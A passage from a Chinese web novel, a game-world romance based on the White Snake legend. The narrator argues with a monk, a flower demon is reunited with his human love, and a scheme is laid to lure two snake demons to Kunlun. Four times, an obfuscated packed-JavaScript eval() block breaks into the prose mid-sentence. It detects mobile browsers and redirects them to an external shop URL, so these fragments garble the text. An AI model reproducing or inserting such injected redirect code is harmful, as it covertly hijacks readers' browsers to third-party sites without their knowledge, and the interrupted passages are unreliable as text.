洛骁用一种很奇怪的眼神看你,你被他看得不自在极了,不由问:“你这么看着我干嘛?” 洛骁说:“他们俩在一起或是不在一起,那不关我的事。方才西湖的时候我也说过了。我之所以会去,只是因为我看不惯和尚多管闲事而已。” “你……哎……”简直劝他不动。 洛骁狐疑道:“你好像很不愿意我去?” “你才看出来么?” “为什么?” “因为我担心你啊!” 洛骁要真被法海的金钵收去,你都不知道该怎么向洛霖交代才好。 “你,担心我?”洛骁缓缓的,将这几个字重复了一遍。 看着你焦急的样子,忽然的,他心里莫名涌出一股说不清道不明的情绪。 你绞尽脑汁,“你看,那和尚既然能被晚娘父母请来收妖,想必也是会些法术的,你……你一个十指不沾阳春水的大少爷,贸贸然前去说要教训人家,也不怕被人先反手教训一顿?” “就凭他还想教训我?”带着一点骄傲的,洛骁说:“不过法术而已,又不是只有他一个人会。” “你说得那么轻而易举,难道你会?”情急之下,你脱口而出。 “我会很奇怪么?” “你……”他是妖会法术当然不奇怪,可,“你是人,怎么会法术?” “那和尚也是人,他不也会法术?” “人家修炼过,你也修炼过么?” “我当然修炼过。”他找了个借口,“以前小时候,我爹娘曾送我到青城山的道观学过一些。” 好家伙,敢情青城山这个设定在这儿等着你呢。 你叹了口气,“我知道怎么说都是劝你不动了。” 洛骁支支吾吾,“也……也不是。” “不是?”你斜睨他。 “总之,这次不行。” 你露出一副“我就说吧”的表情,“既然劝你不动,那我索性就不再劝了。” 洛骁松了口气。 你却话锋一转,“不过,我想再跟你做个约定。” “你说。” “三日后,我要与你同去。” “你去?”洛骁疑惑,“你去做什么?” 你浅浅一笑,“你不是看不惯和尚管人闲事,所以要出手教训他么,正好我也是。” 洛骁不懂你葫芦里卖的是什么药,“难不成你也想出手教训他?” “非也非也。再怎么说,那和尚也是个成年男人,而我又是个手无缚鸡之力的弱女子。我要出手教训他,无异于以卵击石。” “那你想干什么。”洛骁饶有兴致。他发现你真是越来越有趣了。 “有时候,教训一个人,不一定非要出手,也可以出言,不是么?” 洛骁仿佛听到了一个笑话,“别告诉我,你要以德服人。” “我就是要以德服人。还是说,你不相信我能劝得动那和尚?” “你连我都没劝得动。”洛骁没明确说信或者不信,而是巧妙的拿出自己来举例。 你哼了哼,“我之所以劝不动你,是因为你这人实在倔得像头驴一样。可和尚不一样,我相信他至少会比你讲道理些。” “若那和尚恰好也是个跟我一样不讲理的呢?” “如果和他讲道理讲不通,那只能让你上去略施点拳脚了。” “好!”洛骁抚掌笑道:“那我便先拭目以待,看看你到时对着一个饱诵经书的和尚,能讲出怎样一番大道理来。” 拭目以待。 拭目以待个屁咧。 你摸摸腹诽,要不是洛骁死都不听你的,你用得着跑去跟和尚讲什么大道理吗。 嘴上说得好听,其实你自己心里是没底的,可事已至此,也只能硬着头皮上了。 三日后,晚娘家。 院子里,有你、洛骁、红芍、和尚三人。 晚娘和她的父母在屋内避而不见。 和尚仍是三日前的那副装扮,身披金红袈裟,手执金漆法杖,他面容端正,骨骼四方,浓眉之下双目如电。 红芍痴痴望着屋内通明的灯火,对和尚视若不见。他能感觉到晚娘就在里头,可她却不肯出来见他。 你拍拍洛骁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127413|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手臂,示意他不要忘了你们的约定。 见洛骁嘴唇微抿,果真没什么动作后,你才上前一步,双手合十,礼貌道:“师傅好。” 和尚看了你一看,半晌,方道:“施主,与妖往来,有害无益。你不该来插手这件事。” “我不明白,我不过是帮一位朋友的忙,于我会有什么害处。” “他是妖。” “我知道他是妖,可妖又怎么?” “妖生性残暴,狡猾奸诈,与妖过多相处,迟早反害自身。” “人也有生性残暴,狡猾奸诈的,我不也天天与人在一起相处。” 和尚从鼻腔中喷出一声冷哼,“施主,看来你已被妖蛊惑。” “不。我的神智很清醒,我知道我在说什么。师傅,我虽是个乡野小民,从未读过什么圣贤书,可也曾听闻佛家道理。佛说,众生平等。师傅,你是佛门高僧,你认同这句话吗。” “众生平等,悉有佛性,皆可向善成佛。人虽有残□□诈之辈,但人世间律法伦理俱全,人可以借此来明心见性、重归正途。妖本性贪嗔,不受律法约束,纵有一时善念,终究本性难改。是以妖虽有佛性,却难以修持。人若执意与妖为伍,只会受其所害,而无一利。” “人并非自诞生以来就有所谓律法纲常的,人也要经过上千年的演变进化,才有如今的世道观念。而人一旦接受了这套观念,就会被它所影响,会把自然界中弱肉强食的现象看作是残暴的。可说到底,那不过是一种生存的本能而已。” 你说道:“而现在,妖脱离了他所生存的环境,转而融入到人世之中。他虽然不懂人的律法,却也没有过违律之举。倘若如此,师傅还是要给他强加上本性难改的名头,岂非欲加之罪,何患无辞?” “冥顽不灵,执迷不悟!” 和尚面色一沉,将手中法杖高高举起又重重落下,一时间,金光四射,仿佛有股无形的罡气向四周迸发,劲风扬尘,草木摇动。 你被这股罡气余波震得心口一阵闷痛,不由后退了几步。 洛骁闪至你身前,怒喝道:“好你个秃驴,讲不过就要动手,你的佛就是这么教你为人做事的?” 和尚默念一句佛号,“贫僧今夜是为收妖而来,无意与二位施主为难,也请施主莫再阻拦。” 洛骁冷笑,道:“你说不阻拦,我就偏要阻拦。我告诉你,今夜这妖,你收不了。” 二人间的气氛剑拔弩张,再这样发展下去,非打起来不可。 而一旦打起来,事态就真一发不可收拾了。 没办法了,只能试试这个法子。 “法海!” 你立在洛骁身侧,脱口叫出法海的名字,这顺利的吸引来了和尚的目光。而洛骁此时正恨恨盯着和尚,无暇顾及身后的你。 你趁这间隙,手腕一翻,凝出十方谛听珠来。这珠子是地藏菩萨座下的谛听兽所有,本身自带一层柔柔佛光。 和尚是佛门中人,又识得一些法术,一眼便认出你手中之物来历非凡。他目光微凝,周身气势稍减弱了几分。 42. 植骨 你见目的已达,便迅速收起灵珠,说道:“佛以慈悲为怀,法海,你已动杀念。” 洛骁转头看你,“谁是法海?” 转念一想,这在场的人里,除了那和尚叫不出名字,还能有谁? 洛骁指着和尚,“你说那秃驴叫法海?你认得他?” 糟糕。 你真想拍死自己,怎么刚刚嘴就没把住门,把法海都说出来了。 正想着怎么应付,却听那和尚道:“阿弥陀佛,贫僧了尘,并非法海。” 什么!他不是法海? 你这下尴尬了,你一看到有和尚出现,就下意识将人往白蛇传里的法海身上联想,还生怕洛骁对上他,会被金钵收了去。 没成想弄了大半天,和尚根本不是法海,而是了尘。 你搞了个大乌龙。 这时,红芍终于站了出来,他径自走向了尘,心如死灰道:“你要收我,便收罢。” “红芍,你这是做什么?”你着急想上前将红芍拽回来,可洛骁却拉住了你。 红芍闭了闭眼,再睁开时,眼中已是一片寂然,“晚娘不肯见我,也不想再要我了。我对这世间已无眷恋,既然如此,倒不如让这和尚收了我去,也好过我孤身在世间行走。” 红芍话音方落,忽听身后传来一阵门被爆踹的声响。 在场的人都被这突如其来的动静吓了一跳,纷纷往后看去。 “晚娘,你要去哪儿?” “简直胡闹!快回来!” 晚娘父母想拦着女儿不让她出去,可那气势如脱缰野马的女子又哪里是他们能拦得住的。 只见一个身着红衣,面容俏丽的女子踹门而出,三步并作两步奔到红芍面前,然后……抬手就是一巴掌。 当然,那巴掌没落到脸上,而是扇在了后脑壳。 红芍泪眼盈盈,“晚娘,你终于肯出来见我了。” 晚娘扇完他脑壳,随即又气不过揪他耳朵,怒骂:“你都准备死我家门口了我能不出来吗?你要是个人也就算了,偏偏你是个妖,还是个活了两百年的妖。两百年了,你活了整整两百年,怎么就光长年纪不长脑子?我爹娘知道你是妖之后,怕你怕得要死,还特地跑到净慈寺去找了个什么和尚要来收你。” “我实在没法子,才假意说要跟你分开,就是为了让你先出去避避风头,等过了这阵子,我劝好爹娘了,再接你回来。结果你倒好,我的意思一点没明白不说,还屁颠屁颠的跑回来寻死觅活!你、你!真是笨死你算了!” 你在一旁目瞪口呆。 先前听红芍说起他们两百年前相遇的场景后,还以为今生的晚娘会是个柔弱淑慧的女子,没想到事实却大相径庭。 生活在安稳环境下的晚娘,不仅灵动鲜活,还中气十足,处处透露着蓬勃的生机。 了尘见这场景,心知今日说什么也是收不了妖了,便默然转身离去。 而得知事情真相的红芍,则如旱土逢霖,心底的死灰又再复燃,他面上重焕光彩,“晚娘,你……你说得都是真的?你其实从未想过与我分开,你还要我,对吗?” “晚娘。” 晚娘母亲在丈夫的搀扶下走出,“你为了这个妖怪,竟连亲生父母也骗吗?” “娘,我也是没办法才出此下策的。”晚娘看向母亲,言辞恳切,“再说,看一个人是好是坏,难道不该从他的品行举止来评判吗?先前您不知道红芍是妖的时候,不也时常称赞他风度翩翩,反来说我咋咋呼呼的不像个女儿家么?” 她又转向父亲,“还有爹,先前农忙的时候,红芍成日里跟着你下田种地,被太阳晒脱了一层皮,也不曾有过怨言。那会儿你不也说他踏实肯干,是个良人么?怎么一旦知道红芍是妖之后,你们对他的看法就全然改变了呢?” “他、他是妖啊!”晚娘父亲颤颤巍巍道。 “他是妖,可他也是红芍啊!他的身份变了,他的为人却没有变,他还是他。” 晚娘母亲眼含热泪,“晚娘,这么说,你是要舍了爹娘,跟他去了?” 晚娘狠狠一怔。 红芍用力抓住晚娘的手臂,他心里是万分的忐忑。 修炼成人后,下山寻找晚娘的这五十年里,他虽也是人世间游历,却不曾过多参与其中。 而人世间有太多的心思规矩,对生长山野间的他实在太过复杂。 红芍知道二老对他的身份多有顾忌,可却不知道他们为何如此顾忌。他虽是妖,却从没做过伤害人的事,他只是想和晚娘在一起。 而如今,晚娘母亲轻轻颤颤的一句话,又将一道选择题抛到了晚娘面前。 你要爹娘,还是这个妖? 红芍紧张的等待着他的宣判。 “爹,娘,”晚娘苦涩的开口,“你们是我的父母,你们生我、养我,包容我所有的坏脾气,待我这么的好,我……我不可能丢下你们不管的。如果非要在你们和红芍间做一个选择,我宁愿割弃所爱。” 红芍身形一震。 兜兜转转这么久,到头来,还是逃不过这个结果么? “何必弄得这么复杂,说来说去,你们不就是接受不了他妖的身份么?既然如此,直接把他从妖变成人,一切不都迎刃而解了么?”洛骁出声道。 这话是什么意思? 妖就是妖,人就是人,还能有把妖变成人的说法? 你拧眉,不知道洛骁此刻说的到底是真是假。 洛骁嘴角一勾,说道:“妖虽说可以通过修炼变为人,可说到底,妖的本质还是妖,就算修了一层人的皮囊套在身上,皮囊底下生的还是妖的骨头,算不得真正的人。而妖若想要真正变成人,则需要舍弃一身修为,再去找一个人来,将这人身上的二百零六块骨头一一拆解植入自身,以人之骨撑起妖之皮,经年累月,皮与骨互相融合,成为一体,妖也就成为了真正的人。” 顿了下,仿佛温馨提示似的,洛骁又说道:“找人拆骨的时候,这个人必须是自愿的才行,否则的话就算强行将人的骨头植入了身体,也很容易产生排异反应。再者,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127414|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法甚为凶险,你不过两百年修为,若真要这么做,恐怕九死一生。” 还不等红芍说什么,晚娘便先说:“如果变成人就要害一个人,那这样就算真的成了人,又有什么意思?红芍是妖,但他是个好妖,我不会让他为了我去手沾血腥的。” 看着晚娘如此维护自己,红芍此刻内心已经释然。 红芍握住晚娘的手,笑道:“有你这句话,我已知足。” 说罢,红芍朝晚娘父母躬身一礼,说道:“伯父、伯母,这段日子来,多谢你们的照顾。我已知人妖殊途,也不求再以人的身份与晚娘长相厮守,只求你们让我在这院子里化作一朵芍药花,得以时时看着晚娘,守候着晚娘。” 经历了这一晚的事情,还有什么是看不明白的呢? 晚娘父母终究还是长叹一声,说道:“也罢,也罢,你对晚娘既是真心相待,晚娘又对你情根深种,我们这做爹娘的,又怎好强行拆散你们。人也好,妖也罢,只要你俩日后能和和美美、安安稳稳的过日子,这就比什么都要强了。” 红芍闻言,愣了一愣,还未反应过来,便被晚娘往前推了几步。 晚娘喜极而泣,道:“你个傻瓜,还愣着做什么,我爹娘已经同意我们在一起了,你还不给他们磕个头?” “噢!噢!” 红芍回过神,忙上前屈膝要跪,却被晚娘母亲扶了起来,“我们既然同意你和晚娘在一起,那以后咱们就都是一家人了,还跪这跪那的做什么。晚娘这孩子自小被我俩宠坏了,性子难免有些娇纵,可她是个好孩子,你……你往后,要好好待她,切莫辜负了她。” “我会的。” …… …… 晚娘和红芍的事情总算完美解决,虽然没有真正动手教训和尚,但洛骁心情总体上来说还算可以。 反观你的心情,就不是那么好了。 你在想一些事情。 踏着月色,洛骁问你:“你刚才为什么叫那和尚法海?” 那是因为你说漏嘴了。 这一关的设定虽脱胎于白蛇传,却又与白蛇传不尽相同,其间真真假假,虚虚实实要玩家自行去辨别。 而你先入为主,错将净慈寺的了尘当成了金山寺的法海。 你勉笑解释,“先前刚来杭州的时候,曾听闻这里有位得道高僧法名法海,我见今天那了尘和尚既然能被晚娘父母请来收妖,想必来历定不简单,便下意识的以为他就是法海。” “我来杭州也有段时日了,怎么我就没听过有个叫法海的和尚很出名?” “你不知道的事情又不止一件,这有什么稀奇的。” 听你这么说,洛骁倒没继续深究下去,只是又换了个话题,说:“你说你出身乡野,没读过什么圣贤书,可我看你今晚跟那和尚辩论,倒是辩得头头是道。” “我是没读过什么圣贤书,我不是没有脑子。” “那这么说来,你还是个有脑子的聪明人了。” “谢谢,我就当你是夸我了。” 43. 本真 “你倒承认得很不客气。” “这本来就是事实,我有什么不好意思承认的?”你状若无事的,“洛骁,方才在晚娘家的时候,你说的那个由妖变人的法子,是真的还是唬人的?” “自然是真的,我犯不着拿这种事唬他们。” “那你见过有妖通过……移植人骨变成人的么?” “怎么,你很感兴趣啊?” 你低着头,嗯了一声,“由妖变人,这样的事我还是头一回听说。” “我没见过。事实上,也很少有妖会用这个方法。” “是因为过程太难了么?” “你觉得呢?”洛骁淡淡反问。 你叹息道:“应该是吧。” 妖如果想要变成真正的人,得先要舍弃一身修为,还要再找个人来移植二百零六根骨头,找的这人还得是自愿的,否则的话就算移植成功了,身体后续也会出现排异反应。 可天底下哪儿有这么多自愿的人呢? 就算真有,妖除了能变成人外,又能得到什么好处呢? “虽然很少有妖会用这个方法,但也不是完全没有,也得分情况。第一种,是为了逃命用的。妖与人最大的不同就是,每一个妖身上都会某种独特的气息。在一些修为不深的妖群之中,他们还不能很好以眼来辨别身份,便是根据这气息来认识彼此。而这种特征也导致他们的行踪极其容易被锁定。有些妖被追杀到走投无路了,便会找个人来行移骨之术,以此来掩去自身的妖气。” “第二种,就是寿命将尽的。妖的寿命虽比人长,但也不是无穷无尽的。在将死之际,若是不甘就此殒命,也会用这个方法,来脱去旧的躯壳,换取全新的生命。” 你的大脑疯狂运转着,你挑拣着措辞,极为小心又谨慎的说:“也就是说,一个妖如果要死了,可以通过移骨之术,来……死而复生?” “对。但前提是这个妖自身的修为足够高强,否则的话他根本撑不过这个植骨过程。” 这也就是为什么,洛骁会跟修炼了两百年的红芍说,他若行此法,必九死一生的原因了。 也许是你脸上的表情太过有趣,洛骁此刻不由玩心大起,他五指曲成爪状,凑到你面前,故意张牙舞爪道:“你是不是怕了?怕有一个妖来把你抓走,取了你身上的骨头,来换取新生。” 你定定地看着洛骁,一时间不知道该摆出什么样的表情来面对他。 而你这副没有表情的模样,却让洛骁以为你真的被方才那一番话吓到了。 想想,你年纪不大,虽说是有几分胆色,可说到底不过是个乡下出来没见过什么世面的弱女子。 今晚所经历的一切,已经大大超出了你的认知范围,如今,他又让你知道了妖族内部的秘法。 洛骁慢慢收回手,对你,他忽然产生一种近似于怜爱的情绪。 这种情绪让他面上的狰狞不由柔和了几分,他缓缓的,保证一般,和你说道:“放心,有我在,不会有妖敢来将你捉走的。” 你笑了笑,“你也就小时候到青城山去学过一点法术皮毛,怎么就这么自信不会有妖敢来把我捉走?” 洛骁语噎,“总之,我就是确定。就算我不行,不也还有我哥么?” 对,还有洛霖。 可是洛霖…… 洛骁想起那个已离家数日,前去淳安瀛山书院听人讲学的哥哥,心头一时竟不知是何滋味。 不,不对。这样的感觉很不对。 这样的感觉……究竟是什么? 洛骁面色一瞬间凝结,这个突如其来的发现,令他不自觉慌了神。 你察觉到了洛骁的异样,抬手到他面前晃了晃。 这一晃,仿佛触发了蛇类捕捉猎物的本能。 几乎是瞬间,洛骁倏然抓住你还在半空晃动的手。 紧紧的。 蛇类的皮肤温度比人要低不少。 他的手攥住你手腕,手心温温凉凉,却让你的心跳猛地漏了一拍。 你下意识去看洛骁。 洛骁也正看着你。 “你……” 不知不觉间,你们再度回到了清波门,回到那间最大最漂亮的宅子前。 “小春,洛骁。” 仍旧是那扇古朴深棕的大门,连日来的晴好驱散了一切雨天的阴霾,门隙里头那股潮湿发霉的味道也消弭殆尽,转而恢复到原有的岁月沉淀下,独属于木质物品的温润芬芳。 大门前立着一个人,那人身着素白长衫,月色溶溶轻覆在上,将他的衣衫也晕上了一层柔柔清晖。微风拂过,漾起衣摆发梢,更衬得他身姿修然挺拔,清逸出尘,恍惚间,竟如神仙临世。 是洛霖。 他回来了。 他……从淳安回来了。 洛骁松开你的手,退至一旁。 洛霖快步走来,眉头轻蹙,“你们怎么这么晚才回来?” “我们出去走了走。” 你下意识的觉得洛霖如果知道了你们参与到红芍和晚娘的事中的话会生气,便想也不想的说了这么一个借口。 可一说完,你就后悔了。 因为根本没必要。 洛骁方才就说了,每个妖身上都会有其独特的气息,你们刚和红芍接触完,而洛霖又是妖,他岂会感觉不到你们身上残存的其他妖族的气息? 但好在洛霖闻言也没有拆穿你,只是牵起你的手,指尖搭在脉上探了片刻,说道:“你面色苍白,脉象紊乱,应是受了风寒。以后不要这么晚出去了,要想出去玩的话,白天去就好。” ……洛霖还怪好咧,不仅没有拆穿你,还帮你圆了谎。 他说你脉象紊乱,应该是方才被了尘的法杖迸出的罡气震了一震的缘故。 不过这种影响只会让你在游戏中的生命数值有一定减退,对你本人是半分无碍的。 你自知理亏,便也乖乖点头应了声好,然后又问:“你是什么时候回来的?” “才到不久。”一回来就发现家里空了,赶忙想出来找,刚到门口,就看见你们回来了。 “你到瀛山书院听讲学,听得怎么样?” “受益颇深。”洛霖方才牵你手搭脉之后便没再松开过,他拉着你,“好了,有什么话进去再慢慢说,夜已深了,你本就受了风寒,再在外头吹着风,症状会加重的。” “噢。” 你们往里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127415|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了两步,发现洛骁没跟上来,洛霖又回头叫。 “洛骁?” 洛骁恍如梦醒。 回去之后,你三人闲聊了几句,因时间确实晚了,没聊太多,洛霖便先将你送回房间休息了。 “你晚上若是有感到哪里不舒服就来叫我,千万别自己忍着不说,知道么?”洛霖千叮咛万嘱咐。 你点头再点头,这句话你已经听他说过好多好多遍了。 他站在你房间门口,还是不大放心的样子,“要不我还是到河坊街的保和堂去给你请位大夫来看看吧?” “真的不用了。” 之前洛霖知道你闻了芫花之后,也是像现在这样紧张,生怕你出什么事。他这份过度的在意让你觉得有些好笑,在他眼里,估计你就是个一碰就碎的瓷娃娃吧? “真的么?” “真的真的。你看现在这么晚了,保和堂的大夫也早就休息了,这时候再跑过去叫门,岂不是十分打扰人家?再说,你方才不也给我把脉看过了么,我就是有一点点风寒而已,说不定等今晚上我好好睡一觉,明天就好了呢。” “……好吧。” 洛霖终于是被你劝走了。 他一走,你便关上了房门。 门合上的瞬间,你终于卸下了所有伪装,重重吁出一口长气。 你如木偶般一步一步走到床边,然后躺下,直愣愣的看着帐顶发呆。 从昆仑,到杭州。 从西湖,到清波门。 鹤童,鹿童,重华仙君,南极仙翁,洛霖,洛骁,红芍,晚娘,了尘…… 龙血菩提果,十方谛听珠,千里传音符。 双全法,情人泪。 这一关,是你玩游戏以来,所玩过的时间跨度最长,地点跨度最大,掺杂人物最多的一关。 初下昆仑,得知这一关脱胎于白蛇传时,你不知道游戏为何要这么设定,那时的事态仍保留着一种朦胧之美。 而今在经历过红芍和晚娘的事情之后,那层雾一般的朦胧开始慢慢褪去,事态也逐渐恢复本真。 将白蛇传的故事由头到尾想一遍,一切明了。 白蛇传中,千年蛇妖白素贞携青蛇小青化人游西湖,途中遇雨借伞结识了许仙,二人由此情起,结为夫妻。 后法海出现,识破白素贞和小青真身,唆使许仙在端午让白素贞饮下雄黄酒,白素贞惊现原形吓死许仙。 为救夫君,白素贞冒险闯昆仑盗灵芝草。救活许仙后,法海仍不肯罢休,将许仙掳至金山寺。白素贞迫于无奈,水漫金山,最终因触犯天条而被镇压雷峰塔下。 而本轮的游戏设定,则巧妙的运用了白蛇传中的情节。 洛霖、洛骁的身份对应着白素贞、小青。 你们相遇的地点在杭州西湖。 你们同样遇到了一个和尚,不是金山寺的法海,而是净慈寺的了尘。 如果你没有拦着气头上的洛骁去教训了尘,那洛骁的身份很可能就会提前暴露,致使任务无法进行下去。 而你要是成功拦住了洛骁,则会…… 你闭上眼睛。 此时你的思路无比清晰,但你的脑子却是乱哄哄。 44. 草蛇灰线 你成功阻拦了洛骁,便会从他口中得知妖可以通过移植人骨获得新生的方法。 五百年前,他二人于昆仑山偷窃龙血菩提果,以致重华仙君重登仙位的机缘断绝,要使龙血菩提果复生,需取其妖丹精血作为养分,而这必会害其性命。 游戏需要你同时保住鹤童鹿童,以及蛇妖的性命,以达成双全法的通关条件。植骨之术,就是破局关键。 而引洛霖洛骁上昆仑的方法,就隐藏在白蛇传中。 你要在端午节时,诱洛霖饮下那杯可以令他现出原形的雄黄酒,用假死引他去昆仑山偷盗那可以令人起死回生的灵芝草。 可问题是,现在的洛霖在龙血菩提果的加持下,已洗尽一身妖气,他又比白素贞多修炼了五百年,拥有一千五百年道行的他,还会这么轻易的就被一杯雄黄酒放倒吗? 或者,你可以换个人下手? 洛骁…… 不。比起洛霖,洛骁的不稳定性太多了。 洛霖他,对你更不设防一些。 事到如今,你只能运用千里传音符,向鹤童鹿童寻求帮助了。 凝神动念,不过一盏茶的工夫,你便得到了二童的回应。 “小春,你近来怎么样?一切都好吗?”这是鹤童的声音,听上去还是那么毛躁躁的,就像他那头怎么都打理不顺的头发一样。 鹤童没有一上来就问蛇妖如何,而是问你的近况。 在游戏设定里,你自小就在昆仑,是鹤童鹿童亲手将你带大的,在他们眼中,你就是个第一次离开家出远门的孩子。 你答说:“一切都好。” “那蛇妖的事情怎么样了?你离开昆仑,接近他们也快两个月了,他们没怀疑过你的身份吧?” “……没有。” “那你跟他们相处的时候,他们没欺负你吧?” 他来来去去就是关心你的身份有无暴露,在外有无受欺负。 而回想起与洛霖洛骁相处的这段时光,你不免感到愧疚。 他们待你那么好,而你却是怀抱着目的接近他们,甚至为了让自己来历更为合理,你还编了不少谎话。 真不敢相信,到真相大白那天,他二人面上会是怎样的表情。 而等到那时,他们又会以何种目光看待你。 “怎么不说话了?难道他们真欺负你了?”鹤童有些着急。 你吸了一口气,尽量让自己心情平复下来,“没有。他们没欺负我。” “小春,你此次动用千里传音符联系我们,是有什么事吗?”这是鹿童。他对情绪的感知比鹤童敏感一些,他察觉出你这次主动联络,并非只是跟他们聊聊近况这么简单。 “我找到引……蛇妖上昆仑的方法了,就在五月初五端午这日,只是眼下我还差一样东西。” 在鹤童兴奋惊呼的背景下,鹿童冷静的声音透过千里传音符传来。 “差什么?” “差一样……能够令蛇妖失去理智现出原形的东西。” 鹿童沉吟道:“你想要蛇妖发狂,为什么?” “师父,我……我自有我的考量,只是,我现在还不能告诉你。” “也罢。”鹿童到底没有深究,“要让蛇妖发狂现出原形的媒介,就在你身上。” 你身上……你身上能有什么? 你很快反应过来,“您是说,十方谛听珠?” “对。”鹿童道:“十方谛听珠是谛听兽凝练的灵珠,而谛听兽跟随地藏菩萨修炼多年,久沐佛法,因此这颗由它凝练而成的灵珠本身也蕴藏了无上佛光。佛光是至纯至净之物,就算蛇妖法力再高强,也绝难抵挡。” “那我要怎么做?” “你只需在十方谛听珠上刮取拇指盖大小的粉末,混进水中,设法让蛇妖喝下便可。” “可十方谛听珠乃是至宝,我连运用它都很困难,又怎么能从它身上刮下粉末呢?” “这无妨。谛听珠离开了本体,质地便会变得柔软许多,况且你身上有我和鹤童传授的两百年修为,刮取一点粉末不是难事。” 草蛇灰线,伏脉千里。 一切的一切,原来早有注定。你怔怔想道。 “小春,你当真确保能在五月初五这天引蛇妖上昆仑?”鹿童谨慎问道。 “我……我并没有百分百的把握。”事情总是人算不如天算,一个差错,就可能导致事情朝相反方向发展。 鹿童叹道:“也罢,我与鹤童为此困扰了整整五百年,而今你接触此事也才不到两个月,我怎能强求你万无一失呢?” 就连他们自己,都无法做到万无一失。如果他们做到了,也就不会有今日这局面了。 “未雨缪谋总好过临阵磨枪。不论成功与否,五月初五,我和鹤童都会在昆仑山布下天罗地网阵。” 此事若败便罢,若成…… 五月初五,天罗地网,便是蛇妖身死之日。 与二童的对话结束后,你仍是忧心忡忡。 因为你还有一点没搞清楚。 那就是五百年前龙血菩提果失窃的真相。 转念一想,这真相还重要吗? 无论龙血菩提果是如何失窃的,洛霖洛骁都与这件事摆脱不了干系。 你始终……还是要将他俩引上昆仑的。 皓月当空。 今晚的月亮很圆很亮,人总以月的阴晴圆缺来隐喻人间的悲欢离合,其实这并不合理。就如当下,一场由谜团和谎言堆砌而成的平静生活,即将在五月初五这日被撕裂,月如果真随人间的悲欢离合而变化,那此刻它应该是残缺的。 亦或,这只是以一种以圆满衬哀情的手法? 无人得知。 宅子的另一面。 洛霖指尖凝起法力,轻划腕间,霎时白皙的皮肤便被划开一道口子,殷红的血液从伤口渗出,一滴滴落入桌面上的天青色瓷碗中。 直至血满半碗,洛霖方才收了法力,止住血涌。 “喝了吧。”他对洛骁说。 洛骁沉默着端起瓷碗,一饮而尽。 喝下血的瞬间,洛骁的瞳仁骤然缩成一道锐利的竖线。 苍白的面孔,妖异的双瞳,殷红的嘴唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127416|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这一刻,妖相毕露。 洛骁深呼吸一口气,竭力压抑住体内奔涌的血气,闭目凝神,稍过半晌,双瞳又恢复成了正常人的模样。 蕴涵了龙血菩提果灵效的血液,能够很好的压制住洛骁身上的妖气。 这也就是为什么了尘在面对洛骁时,没有察觉出他是妖的原因了。 洛骁用拇指轻轻拭去唇上残血,“哥,不如就将你我的真实身份告诉她吧。” 洛霖惊了一惊,立即否定,“不!你疯了?我们是妖,她是人,怎可让她知道……” “她连花妖都不介意,又怎么会介意你我是蛇妖?”洛骁的声线又轻又缓,带着一点点沙哑,“你没有亲耳听见,她是怎么对那秃驴说的,她说……” “够了!”洛霖厉声打断,“你还敢提这事!我出门前千叮万嘱,要你好好照顾她,结果呢?你是怎么做的?你带她去插手花妖与人的纠葛,还险些将和尚招惹来了!” 洛霖向来都是温柔如水的样子,他从未像这样动怒过。 他其实也很想冷静,可自从他从你身上闻到花妖的气息,又知晓你被和尚的法杖所迸出的罡气伤到后,他就再也无法冷静下来。 “让她知道我们的真实身份不好么?难道你要一辈子装作人同她在一起?想想,同处一个屋檐下,又或者,同床共枕,她眼里看你虽是人的样子,可实际却是条修炼了千年的蛇妖。那不是很可怕么?” 洛骁的话语仿佛带有一种魔力,为洛霖营造了一个人与妖同处,却毫不知情的森然、可怕的场景。 “与其等哪天出了意外,叫她撞破身份,倒不如主动说出真相。她不会怕的,她是那么的与众不同,她跟秃驴说的那番言辞,是那么诚恳真切。” “做回妖,你也可以再无负担的同她在一起,你们之间再没有不可言说的秘密,你甚至可以变出尾巴来,像缠绕猎物一般紧紧缠绕着她,让她逃无可逃,然后……” “不要再说了!” 洛霖的心乱了,他在屋内焦躁地踱了两圈,竭力不去想洛骁方才所描绘的场景。 一条蛇。 